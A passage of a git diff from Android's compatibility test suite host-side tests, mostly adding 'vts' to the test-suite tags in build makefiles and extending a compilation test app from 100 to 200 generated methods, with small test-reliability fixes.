 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/compilation/Android.mk b/hostsidetests/compilation/Android.mk
index 88339b9..09c8507 100644
--- a/hostsidetests/compilation/Android.mk
+++ b/hostsidetests/compilation/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE := CtsCompilationTestCases
 
diff --git a/hostsidetests/compilation/app/Android.mk b/hostsidetests/compilation/app/Android.mk
index d2f38db..d9d79d6 100644
--- a/hostsidetests/compilation/app/Android.mk
+++ b/hostsidetests/compilation/app/Android.mk
@@ -26,6 +26,6 @@
 LOCAL_PACKAGE_NAME := CtsCompilationApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/compilation/app/src/android/cts/compilation/CompilationTargetActivity.java b/hostsidetests/compilation/app/src/android/cts/compilation/CompilationTargetActivity.java
index e4c28fb..180b4c4 100644
--- a/hostsidetests/compilation/app/src/android/cts/compilation/CompilationTargetActivity.java
+++ b/hostsidetests/compilation/app/src/android/cts/compilation/CompilationTargetActivity.java
@@ -192,6 +192,106 @@
             case 97: return m97();
             case 98: return m98();
             case 99: return m99();
+            case 100: return m100();
+            case 101: return m101();
+            case 102: return m102();
+            case 103: return m103();
+            case 104: return m104();
+            case 105: return m105();
+            case 106: return m106();
+            case 107: return m107();
+            case 108: return m108();
+            case 109: return m109();
+            case 110: return m110();
+            case 111: return m111();
+            case 112: return m112();
+            case 113: return m113();
+            case 114: return m114();
+            case 115: return m115();
+            case 116: return m116();
+            case 117: return m117();
+            case 118: return m118();
+            case 119: return m119();
+            case 120: return m120();
+            case 121: return m121();
+            case 122: return m122();
+            case 123: return m123();
+            case 124: return m124();
+            case 125: return m125();
+            case 126: return m126();
+            case 127: return m127();
+            case 128: return m128();
+            case 129: return m129();
+            case 130: return m130();
+            case 131: return m131();
+            case 132: return m132();
+            case 133: return m133();
+            case 134: return m134();
+            case 135: return m135();
+            case 136: return m136();
+            case 137: return m137();
+            case 138: return m138();
+            case 139: return m139();
+            case 140: return m140();
+            case 141: return m141();
+            case 142: return m142();
+            case 143: return m143();
+            case 144: return m144();
+            case 145: return m145();
+            case 146: return m146();
+            case 147: return m147();
+            case 148: return m148();
+            case 149: return m149();
+            case 150: return m150();
+            case 151: return m151();
+            case 152: return m152();
+            case 153: return m153();
+            case 154: return m154();
+            case 155: return m155();
+            case 156: return m156();
+            case 157: return m157();
+            case 158: return m158();
+            case 159: return m159();
+            case 160: return m160();
+            case 161: return m161();
+            case 162: return m162();
+            case 163: return m163();
+            case 164: return m164();
+            case 165: return m165();
+            case 166: return m166();
+            case 167: return m167();
+            case 168: return m168();
+            case 169: return m169();
+            case 170: return m170();
+            case 171: return m171();
+            case 172: return m172();
+            case 173: return m173();
+            case 174: return m174();
+            case 175: return m175();
+            case 176: return m176();
+            case 177: return m177();
+            case 178: return m178();
+            case 179: return m179();
+            case 180: return m180();
+            case 181: return m181();
+            case 182: return m182();
+            case 183: return m183();
+            case 184: return m184();
+            case 185: return m185();
+            case 186: return m186();
+            case 187: return m187();
+            case 188: return m188();
+            case 189: return m189();
+            case 190: return m190();
+            case 191: return m191();
+            case 192: return m192();
+            case 193: return m193();
+            case 194: return m194();
+            case 195: return m195();
+            case 196: return m196();
+            case 197: return m197();
+            case 198: return m198();
+            case 199: return m199();
             default: throw new AssertionError(v + " out of bounds");
         }
     }
@@ -296,5 +396,104 @@
     public int m97() { return new Random(97).nextInt(); }
     public int m98() { return new Random(98).nextInt(); }
     public int m99() { return new Random(99).nextInt(); }
-
+    public int m100() { return new Random(100).nextInt(); }
+    public int m101() { return new Random(101).nextInt(); }
+    public int m102() { return new Random(102).nextInt(); }
+    public int m103() { return new Random(103).nextInt(); }
+    public int m104() { return new Random(104).nextInt(); }
+    public int m105() { return new Random(105).nextInt(); }
+    public int m106() { return new Random(106).nextInt(); }
+    public int m107() { return new Random(107).nextInt(); }
+    public int m108() { return new Random(108).nextInt(); }
+    public int m109() { return new Random(109).nextInt(); }
+    public int m110() { return new Random(110).nextInt(); }
+    public int m111() { return new Random(111).nextInt(); }
+    public int m112() { return new Random(112).nextInt(); }
+    public int m113() { return new Random(113).nextInt(); }
+    public int m114() { return new Random(114).nextInt(); }
+    public int m115() { return new Random(115).nextInt(); }
+    public int m116() { return new Random(116).nextInt(); }
+    public int m117() { return new Random(117).nextInt(); }
+    public int m118() { return new Random(118).nextInt(); }
+    public int m119() { return new Random(119).nextInt(); }
+    public int m120() { return new Random(120).nextInt(); }
+    public int m121() { return new Random(121).nextInt(); }
+    public int m122() { return new Random(122).nextInt(); }
+    public int m123() { return new Random(123).nextInt(); }
+    public int m124() { return new Random(124).nextInt(); }
+    public int m125() { return new Random(125).nextInt(); }
+    public int m126() { return new Random(126).nextInt(); }
+    public int m127() { return new Random(127).nextInt(); }
+    public int m128() { return new Random(128).nextInt(); }
+    public int m129() { return new Random(129).nextInt(); }
+    public int m130() { return new Random(130).nextInt(); }
+    public int m131() { return new Random(131).nextInt(); }
+    public int m132() { return new Random(132).nextInt(); }
+    public int m133() { return new Random(133).nextInt(); }
+    public int m134() { return new Random(134).nextInt(); }
+    public int m135() { return new Random(135).nextInt(); }
+    public int m136() { return new Random(136).nextInt(); }
+    public int m137() { return new Random(137).nextInt(); }
+    public int m138() { return new Random(138).nextInt(); }
+    public int m139() { return new Random(139).nextInt(); }
+    public int m140() { return new Random(140).nextInt(); }
+    public int m141() { return new Random(141).nextInt(); }
+    public int m142() { return new Random(142).nextInt(); }
+    public int m143() { return new Random(143).nextInt(); }
+    public int m144() { return new Random(144).nextInt(); }
+    public int m145() { return new Random(145).nextInt(); }
+    public int m146() { return new Random(146).nextInt(); }
+    public int m147() { return new Random(147).nextInt(); }
+    public int m148() { return new Random(148).nextInt(); }
+    public int m149() { return new Random(149).nextInt(); }
+    public int m150() { return new Random(150).nextInt(); }
+    public int m151() { return new Random(151).nextInt(); }
+    public int m152() { return new Random(152).nextInt(); }
+    public int m153() { return new Random(153).nextInt(); }
+    public int m154() { return new Random(154).nextInt(); }
+    public int m155() { return new Random(155).nextInt(); }
+    public int m156() { return new Random(156).nextInt(); }
+    public int m157() { return new Random(157).nextInt(); }
+    public int m158() { return new Random(158).nextInt(); }
+    public int m159() { return new Random(159).nextInt(); }
+    public int m160() { return new Random(160).nextInt(); }
+    public int m161() { return new Random(161).nextInt(); }
+    public int m162() { return new Random(162).nextInt(); }
+    public int m163() { return new Random(163).nextInt(); }
+    public int m164() { return new Random(164).nextInt(); }
+    public int m165() { return new Random(165).nextInt(); }
+    public int m166() { return new Random(166).nextInt(); }
+    public int m167() { return new Random(167).nextInt(); }
+    public int m168() { return new Random(168).nextInt(); }
+    public int m169() { return new Random(169).nextInt(); }
+    public int m170() { return new Random(170).nextInt(); }
+    public int m171() { return new Random(171).nextInt(); }
+    public int m172() { return new Random(172).nextInt(); }
+    public int m173() { return new Random(173).nextInt(); }
+    public int m174() { return new Random(174).nextInt(); }
+    public int m175() { return new Random(175).nextInt(); }
+    public int m176() { return new Random(176).nextInt(); }
+    public int m177() { return new Random(177).nextInt(); }
+    public int m178() { return new Random(178).nextInt(); }
+    public int m179() { return new Random(179).nextInt(); }
+    public int m180() { return new Random(180).nextInt(); }
+    public int m181() { return new Random(181).nextInt(); }
+    public int m182() { return new Random(182).nextInt(); }
+    public int m183() { return new Random(183).nextInt(); }
+    public int m184() { return new Random(184).nextInt(); }
+    public int m185() { return new Random(185).nextInt(); }
+    public int m186() { return new Random(186).nextInt(); }
+    public int m187() { return new Random(187).nextInt(); }
+    public int m188() { return new Random(188).nextInt(); }
+    public int m189() { return new Random(189).nextInt(); }
+    public int m190() { return new Random(190).nextInt(); }
+    public int m191() { return new Random(191).nextInt(); }
+    public int m192() { return new Random(192).nextInt(); }
+    public int m193() { return new Random(193).nextInt(); }
+    public int m194() { return new Random(194).nextInt(); }
+    public int m195() { return new Random(195).nextInt(); }
+    public int m196() { return new Random(196).nextInt(); }
+    public int m197() { return new Random(197).nextInt(); }
+    public int m198() { return new Random(198).nextInt(); }
+    public int m199() { return new Random(199).nextInt(); }
 }
diff --git a/hostsidetests/compilation/assets/CtsCompilationApp.apk b/hostsidetests/compilation/assets/CtsCompilationApp.apk
index e556756..1764915 100644
--- a/hostsidetests/compilation/assets/CtsCompilationApp.apk
+++ b/hostsidetests/compilation/assets/CtsCompilationApp.apk
Binary files differ
diff --git a/hostsidetests/compilation/assets/primary.prof.txt b/hostsidetests/compilation/assets/primary.prof.txt
index ab8b943..0a8bded 100644
--- a/hostsidetests/compilation/assets/primary.prof.txt
+++ b/hostsidetests/compilation/assets/primary.prof.txt
@@ -1,4 +1,15 @@
 Landroid/cts/compilation/CompilationTargetActivity;
+Landroid/cts/compilation/CompilationTargetActivity;->m0()I
+Landroid/cts/compilation/CompilationTargetActivity;->m1()I
+Landroid/cts/compilation/CompilationTargetActivity;->m2()I
+Landroid/cts/compilation/CompilationTargetActivity;->m3()I
+Landroid/cts/compilation/CompilationTargetActivity;->m4()I
+Landroid/cts/compilation/CompilationTargetActivity;->m5()I
+Landroid/cts/compilation/CompilationTargetActivity;->m6()I
+Landroid/cts/compilation/CompilationTargetActivity;->m7()I
+Landroid/cts/compilation/CompilationTargetActivity;->m8()I
+Landroid/cts/compilation/CompilationTargetActivity;->m9()I
+Landroid/cts/compilation/CompilationTargetActivity;->m10()I
 Landroid/cts/compilation/CompilationTargetActivity;->m11()I
 Landroid/cts/compilation/CompilationTargetActivity;->m12()I
 Landroid/cts/compilation/CompilationTargetActivity;->m13()I
@@ -13,3 +24,80 @@
 Landroid/cts/compilation/CompilationTargetActivity;->m22()I
 Landroid/cts/compilation/CompilationTargetActivity;->m23()I
 Landroid/cts/compilation/CompilationTargetActivity;->m24()I
+Landroid/cts/compilation/CompilationTargetActivity;->m25()I
+Landroid/cts/compilation/CompilationTargetActivity;->m26()I
+Landroid/cts/compilation/CompilationTargetActivity;->m27()I
+Landroid/cts/compilation/CompilationTargetActivity;->m28()I
+Landroid/cts/compilation/CompilationTargetActivity;->m29()I
+Landroid/cts/compilation/CompilationTargetActivity;->m30()I
+Landroid/cts/compilation/CompilationTargetActivity;->m31()I
+Landroid/cts/compilation/CompilationTargetActivity;->m32()I
+Landroid/cts/compilation/CompilationTargetActivity;->m33()I
+Landroid/cts/compilation/CompilationTargetActivity;->m34()I
+Landroid/cts/compilation/CompilationTargetActivity;->m35()I
+Landroid/cts/compilation/CompilationTargetActivity;->m36()I
+Landroid/cts/compilation/CompilationTargetActivity;->m37()I
+Landroid/cts/compilation/CompilationTargetActivity;->m38()I
+Landroid/cts/compilation/CompilationTargetActivity;->m39()I
+Landroid/cts/compilation/CompilationTargetActivity;->m40()I
+Landroid/cts/compilation/CompilationTargetActivity;->m41()I
+Landroid/cts/compilation/CompilationTargetActivity;->m42()I
+Landroid/cts/compilation/CompilationTargetActivity;->m43()I
+Landroid/cts/compilation/CompilationTargetActivity;->m44()I
+Landroid/cts/compilation/CompilationTargetActivity;->m45()I
+Landroid/cts/compilation/CompilationTargetActivity;->m46()I
+Landroid/cts/compilation/CompilationTargetActivity;->m47()I
+Landroid/cts/compilation/CompilationTargetActivity;->m48()I
+Landroid/cts/compilation/CompilationTargetActivity;->m49()I
+Landroid/cts/compilation/CompilationTargetActivity;->m50()I
+Landroid/cts/compilation/CompilationTargetActivity;->m51()I
+Landroid/cts/compilation/CompilationTargetActivity;->m52()I
+Landroid/cts/compilation/CompilationTargetActivity;->m53()I
+Landroid/cts/compilation/CompilationTargetActivity;->m54()I
+Landroid/cts/compilation/CompilationTargetActivity;->m55()I
+Landroid/cts/compilation/CompilationTargetActivity;->m56()I
+Landroid/cts/compilation/CompilationTargetActivity;->m57()I
+Landroid/cts/compilation/CompilationTargetActivity;->m58()I
+Landroid/cts/compilation/CompilationTargetActivity;->m59()I
+Landroid/cts/compilation/CompilationTargetActivity;->m60()I
+Landroid/cts/compilation/CompilationTargetActivity;->m61()I
+Landroid/cts/compilation/CompilationTargetActivity;->m62()I
+Landroid/cts/compilation/CompilationTargetActivity;->m63()I
+Landroid/cts/compilation/CompilationTargetActivity;->m64()I
+Landroid/cts/compilation/CompilationTargetActivity;->m65()I
+Landroid/cts/compilation/CompilationTargetActivity;->m66()I
+Landroid/cts/compilation/CompilationTargetActivity;->m67()I
+Landroid/cts/compilation/CompilationTargetActivity;->m68()I
+Landroid/cts/compilation/CompilationTargetActivity;->m69()I
+Landroid/cts/compilation/CompilationTargetActivity;->m70()I
+Landroid/cts/compilation/CompilationTargetActivity;->m71()I
+Landroid/cts/compilation/CompilationTargetActivity;->m72()I
+Landroid/cts/compilation/CompilationTargetActivity;->m73()I
+Landroid/cts/compilation/CompilationTargetActivity;->m74()I
+Landroid/cts/compilation/CompilationTargetActivity;->m75()I
+Landroid/cts/compilation/CompilationTargetActivity;->m76()I
+Landroid/cts/compilation/CompilationTargetActivity;->m77()I
+Landroid/cts/compilation/CompilationTargetActivity;->m78()I
+Landroid/cts/compilation/CompilationTargetActivity;->m79()I
+Landroid/cts/compilation/CompilationTargetActivity;->m80()I
+Landroid/cts/compilation/CompilationTargetActivity;->m81()I
+Landroid/cts/compilation/CompilationTargetActivity;->m82()I
+Landroid/cts/compilation/CompilationTargetActivity;->m83()I
+Landroid/cts/compilation/CompilationTargetActivity;->m84()I
+Landroid/cts/compilation/CompilationTargetActivity;->m85()I
+Landroid/cts/compilation/CompilationTargetActivity;->m86()I
+Landroid/cts/compilation/CompilationTargetActivity;->m87()I
+Landroid/cts/compilation/CompilationTargetActivity;->m88()I
+Landroid/cts/compilation/CompilationTargetActivity;->m89()I
+Landroid/cts/compilation/CompilationTargetActivity;->m90()I
+Landroid/cts/compilation/CompilationTargetActivity;->m91()I
+Landroid/cts/compilation/CompilationTargetActivity;->m92()I
+Landroid/cts/compilation/CompilationTargetActivity;->m93()I
+Landroid/cts/compilation/CompilationTargetActivity;->m94()I
+Landroid/cts/compilation/CompilationTargetActivity;->m95()I
+Landroid/cts/compilation/CompilationTargetActivity;->m96()I
+Landroid/cts/compilation/CompilationTargetActivity;->m97()I
+Landroid/cts/compilation/CompilationTargetActivity;->m98()I
+Landroid/cts/compilation/CompilationTargetActivity;->m99()I
+Landroid/cts/compilation/CompilationTargetActivity;->m100()I
+Landroid/cts/compilation/CompilationTargetActivity;->m101()I
\ No newline at end of file
diff --git a/hostsidetests/content/Android.mk b/hostsidetests/content/Android.mk
index 62708f0..e60f102 100644
--- a/hostsidetests/content/Android.mk
+++ b/hostsidetests/content/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_CTS_TEST_PACKAGE := android.content
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk
index 84ace13..116da94 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk
@@ -36,7 +36,7 @@
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
index cb372e7..cb8f163 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
@@ -39,7 +39,6 @@
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.Until;
-import android.util.Log;
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
@@ -204,8 +203,9 @@
     }
 
     private boolean hasNotificationSupport() {
-        return !getContext().getPackageManager()
-                .hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+        final PackageManager manager = getContext().getPackageManager();
+        return !manager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
+                && !manager.hasSystemFeature(PackageManager.FEATURE_EMBEDDED);
     }
 
     private void allowSyncAdapterRunInBackgroundAndDataInBackground() throws IOException {
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk
index 7291fcd..0979e96 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk
@@ -30,7 +30,7 @@
 
 LOCAL_PACKAGE_NAME := CtsSyncAccountAccessSameCertTestCases
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/CtsSyncAccountAccessSameCertTestCases.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/CtsSyncAccountAccessSameCertTestCases.java
index 8dddd2d..bfdd072 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/CtsSyncAccountAccessSameCertTestCases.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/CtsSyncAccountAccessSameCertTestCases.java
@@ -111,6 +111,7 @@
             assertTrue(latch.await(SYNC_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS));
         } finally {
             accountManager.removeAccount(addedAccount, activity, null, null);
+            activity.finish();
         }
     }
 
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/FlakyTestRule.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/FlakyTestRule.java
index 2f6b6ff..e5664f1 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/FlakyTestRule.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/FlakyTestRule.java
@@ -36,16 +36,16 @@
         return new Statement() {
             @Override
             public void evaluate() throws Throwable {
-                Exception exception = null;
+                Throwable throwable = null;
                 for (int i = 0; i < mAttemptCount; i++) {
                     try {
                         statement.evaluate();
                         return;
-                    } catch (Exception e) {
-                        exception = e;
+                    } catch (Throwable t) {
+                        throwable = t;
                     }
                 }
-                throw exception;
+                throw throwable;
             };
         };
     }
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/StubActivity.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/StubActivity.java
index caefd37..0c08ed7 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/StubActivity.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/StubActivity.java
@@ -17,6 +17,19 @@
 package com.android.cts.content;
 
 import android.app.Activity;
+import android.app.KeyguardManager;
+import android.os.Bundle;
+import android.view.WindowManager;
 
 public class StubActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+        setTurnScreenOn(true);
+        KeyguardManager km = getSystemService(KeyguardManager.class);
+        if (km != null) {
+            km.requestDismissKeyguard(this, null);
+        }
+    }
 }
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
index 104fdbd..92e8cdf 100644
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_PACKAGE_NAME := CtsSyncInvalidAccountAuthorityTestCases
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk b/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk
index fc7cd4d..c0b6fa2 100644
--- a/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk
+++ b/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_PACKAGE_NAME := CtsSyncAccountAccessStubs
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/cpptools/Android.mk b/hostsidetests/cpptools/Android.mk
index 97329cc..8078290 100644
--- a/hostsidetests/cpptools/Android.mk
+++ b/hostsidetests/cpptools/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.tests.cpptools
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/cpptools/app/Android.mk b/hostsidetests/cpptools/app/Android.mk
index 347412a..2719cd9 100644
--- a/hostsidetests/cpptools/app/Android.mk
+++ b/hostsidetests/cpptools/app/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsCppToolsApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/Android.mk b/hostsidetests/devicepolicy/Android.mk
index 1de6b93..9cbd49e 100644
--- a/hostsidetests/devicepolicy/Android.mk
+++ b/hostsidetests/devicepolicy/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.adminhostside
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
index c9bd048..0873334 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAccountCheckAuthApp
 
@@ -34,6 +34,8 @@
     android-support-test \
     legacy-android-test
 
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
 LOCAL_SDK_VERSION := test_current
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
index 7423d13..a8c0dbe 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAccountCheckNonTestOnlyOwnerApp
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
index 7a8c0b7..c502fe8 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAccountCheckTestOnlyOwnerApp
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
index 57f011e..c05d9d1 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAccountCheckTestOnlyOwnerUpdateApp
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
index 752ae96..d66c6bd 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAccountCheckAuthAppTester
 
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
index cd3aa98..b7d99bf 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAccountManagementDevicePolicyApp
 
diff --git a/hostsidetests/devicepolicy/app/Android.mk b/hostsidetests/devicepolicy/app/Android.mk
index a22ef3f..d44e88e 100644
--- a/hostsidetests/devicepolicy/app/Android.mk
+++ b/hostsidetests/devicepolicy/app/Android.mk
@@ -17,4 +17,4 @@
 include $(CLEAR_VARS)
 
 # Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
index 946a763..81b63b2 100644
--- a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
@@ -27,6 +27,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/Assistant/Android.mk b/hostsidetests/devicepolicy/app/Assistant/Android.mk
index 196f323..86144a2 100644
--- a/hostsidetests/devicepolicy/app/Assistant/Android.mk
+++ b/hostsidetests/devicepolicy/app/Assistant/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDevicePolicyAssistApp
 
@@ -34,6 +34,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
